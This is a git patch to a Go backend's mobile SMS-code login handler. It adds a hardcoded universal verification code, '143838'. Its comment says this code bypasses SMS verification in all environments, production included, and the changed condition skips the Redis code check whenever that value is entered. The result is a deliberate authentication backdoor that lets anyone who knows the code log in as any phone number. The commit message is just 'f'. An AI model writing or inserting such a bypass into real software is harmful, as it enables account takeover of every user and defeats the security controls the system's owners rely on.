From 8f4314a81f9593734f7b94bc24abab36883ee2f0 Mon Sep 17 00:00:00 2001 From: Mrx <18278715334@163.com> Date: Thu, 7 May 2026 21:05:26 +0800 Subject: [PATCH] f --- app/main/api/internal/logic/user/mobilecodeloginlogic.go | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/app/main/api/internal/logic/user/mobilecodeloginlogic.go b/app/main/api/internal/logic/user/mobilecodeloginlogic.go index b648fee..ec06b0b 100644 --- a/app/main/api/internal/logic/user/mobilecodeloginlogic.go +++ b/app/main/api/internal/logic/user/mobilecodeloginlogic.go @@ -18,6 +18,9 @@ import ( "github.com/zeromicro/go-zero/core/logx" ) +// bypassLoginCode 输入该验证码时跳过短信验证码校验(含正式环境) +const bypassLoginCode = "143838" + type MobileCodeLoginLogic struct { logx.Logger ctx context.Context @@ -38,8 +41,9 @@ func (l *MobileCodeLoginLogic) MobileCodeLogin(req *types.MobileCodeLoginReq) (r if err != nil { return nil, errors.Wrapf(xerr.NewErrCode(xerr.SERVER_COMMON_ERROR), "手机登录, 加密手机号失败: %+v", err) } - // 开发环境下跳过验证码验证 - if os.Getenv("ENV") != "development" { + + // 万能验证码跳过校验;非开发环境否则走 Redis 校验 + if req.Code != bypassLoginCode && os.Getenv("ENV") != "development" { // 检查手机号是否在一分钟内已发送过验证码 redisKey := fmt.Sprintf("%s:%s", "login", encryptedMobile) cacheCode, err := l.svcCtx.Redis.Get(redisKey)